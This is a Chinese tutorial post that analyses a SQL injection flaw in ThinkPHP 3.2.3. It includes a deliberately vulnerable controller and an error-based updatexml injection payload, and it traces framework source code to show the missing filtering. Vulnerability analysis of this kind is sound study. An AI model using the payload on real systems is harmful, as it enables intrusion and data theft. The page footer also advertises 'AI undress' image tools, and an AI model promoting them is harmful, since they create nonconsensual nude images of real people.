本篇文章给大家带来了关于thinkphp的相关知识,其中主要介绍了thinkPHP3.2.3sql注入漏洞的相关问题,其中还包括了m方法、d方法、u方法等相关内容,希望对大家有帮助。
推荐学习:《PHP视频教程》
前言
攻敌所必救:
ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法
Thinkphp3.2.3 安全开发须知
搭建:
首先第一步就是必须先放在www目录下(我是windows用的phpstudy)!!!!
创建数据库,表名一定与你接下来要M的名字的相对应
连接数据库的文件不多说了,自己配置:ThinkPHP/Conf/convention.php
-
配置控制器:\WWW\thinkphp3.2.3\Application\Home\Controller\IndexController.class.php
<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ $this->show('原来内容已经省略,太占地方'); $data = M('user')->find(I('GET.id')); var_dump($data); }}
-
测试:
正文
payload:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));
I和M方法都没有什么问题,真正的问题在于
- find 方法上,来自
/ThinkPHP/Mode/Lite/Model.class.php
public function find($options=array()) { // 根据复合主键查找记录 $pk = $this->getPk(); if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里 // 根据复合主键查询 $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) $count++; } if ($count == count($pk)) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } // 总是查找一条记录 $options['limit'] = 1; // 分析表达式 $options = $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用 $resultSet = $this->db->select($options);//重要的一步
2._parseOptions:因为主要针对options[where]所以无关代码我全删除了
/ThinkPHP/Library/Think/Model.class.php
protected function _parseOptions($options=array()) { if(is_array($options)) $options = array_merge($this->options,$options); // 字段类型验证 if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where']) // 对数组查询条件进行字段类型检查 foreach ($options['where'] as $key=>$val){ $key = trim($key); if(in_array($key,$fields,true)){ if(is_scalar($val)) { $this->_parseType($options['where'],$key); } }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){ if(!empty($this->options['strict'])){ E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']'); } unset($options['where'][$key]); } } } //上面均没用,到现在开始有用:? // 查询过后清空sql表达式组装 避免影响下次查询 $this->options = array(); // 表达式过滤 $this->_options_filter($options);//这里值得注意 return $options; }
3._options_filter
到这就无了
而且上面的操作也会清零 $options,所以这里可能是进错了
所以更正第二部的跟踪,改为
2.select:/ThinkPHP/Library/Think/Db/Driver.class.php
public function select($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $sql = $this->buildSelectSql($options); $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false); return $result; }
3.buildSelectSql:地址同上
public function buildSelectSql($options=array()) { if(isset($options['page'])) { // 根据页数计算limit list($page,$listRows) = $options['page']; $page = $page>0 ? $page : 1; $listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20); $offset = $listRows*($page-1); $options['limit'] = $offset.','.$listRows; } $sql = $this->parseSql($this->selectSql,$options); return $sql; }
4.parseSql:地址同上
public function parseSql($sql,$options=array()){ $sql = str_replace( array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'), array( $this->parseTable($options['table']), $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false), $this->parseField(!empty($options['field'])?$options['field']:'*'), $this->parseJoin(!empty($options['join'])?$options['join']:''), $this->parseWhere(!empty($options['where'])?$options['where']:''), $this->parseGroup(!empty($options['group'])?$options['group']:''), $this->parseHaving(!empty($options['having'])?$options['having']:''), $this->parseOrder(!empty($options['order'])?$options['order']:''), $this->parseLimit(!empty($options['limit'])?$options['limit']:''), $this->parseUnion(!empty($options['union'])?$options['union']:''), $this->parseLock(isset($options['lock'])?$options['lock']:false), $this->parseComment(!empty($options['comment'])?$options['comment']:''), $this->parseForce(!empty($options['force'])?$options['force']:'') ),$sql); return $sql; }
5.parseWhere:同上
protected function parseWhere($where) { $whereStr = ''; if(is_string($where)) {//直接满足,直接进入 // 直接使用字符串条件 $whereStr = $where; }else{ // 使用数组表达式 } return empty($whereStr)?'':' WHERE '.$whereStr;}
最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
然后
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
整个过程没有任何过滤,seay分析thinkPHP太飞费劲了
PHPstorm断点审计:
payload不变:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
还是跟踪find函数:
跟踪到这里步入一下,继续跟踪,跟踪到最后会跳出这个函数并且,值依然没有改变,同时步入下一个函数
经核实,步入到了另一个函数中:
继续跟踪buildSelectSql:
继续跟踪parseSql:
最后的代码变成了:
SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
还是debug起来方便,基本不需要怎么动脑
推荐学习:《PHP视频教程》
以上是一起聊聊thinkPHP3.2.3中sql注入漏洞的详细内容。更多信息请关注PHP中文网其他相关文章!

本文比较了酸和基本数据库模型,详细介绍了它们的特征和适当的用例。酸优先确定数据完整性和一致性,适合财务和电子商务应用程序,而基础则侧重于可用性和

本文讨论了确保PHP文件上传的确保,以防止诸如代码注入之类的漏洞。它专注于文件类型验证,安全存储和错误处理以增强应用程序安全性。

本文讨论了在PHP中实施API速率限制的策略,包括诸如令牌桶和漏水桶等算法,以及使用Symfony/Rate-limimiter之类的库。它还涵盖监视,动态调整速率限制和手

本文讨论了使用password_hash和pyspasswify在PHP中使用密码的好处。主要论点是,这些功能通过自动盐,强大的哈希算法和SECH来增强密码保护

本文讨论了OWASP在PHP和缓解策略中的十大漏洞。关键问题包括注射,验证损坏和XSS,并提供用于监视和保护PHP应用程序的推荐工具。


热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

适用于 Eclipse 的 SAP NetWeaver 服务器适配器
将Eclipse与SAP NetWeaver应用服务器集成。

禅工作室 13.0.1
功能强大的PHP集成开发环境

SecLists
SecLists是最终安全测试人员的伙伴。它是一个包含各种类型列表的集合,这些列表在安全评估过程中经常使用,都在一个地方。SecLists通过方便地提供安全测试人员可能需要的所有列表,帮助提高安全测试的效率和生产力。列表类型包括用户名、密码、URL、模糊测试有效载荷、敏感数据模式、Web shell等等。测试人员只需将此存储库拉到新的测试机上,他就可以访问到所需的每种类型的列表。

Dreamweaver CS6
视觉化网页开发工具

螳螂BT
Mantis是一个易于部署的基于Web的缺陷跟踪工具,用于帮助产品缺陷跟踪。它需要PHP、MySQL和一个Web服务器。请查看我们的演示和托管服务。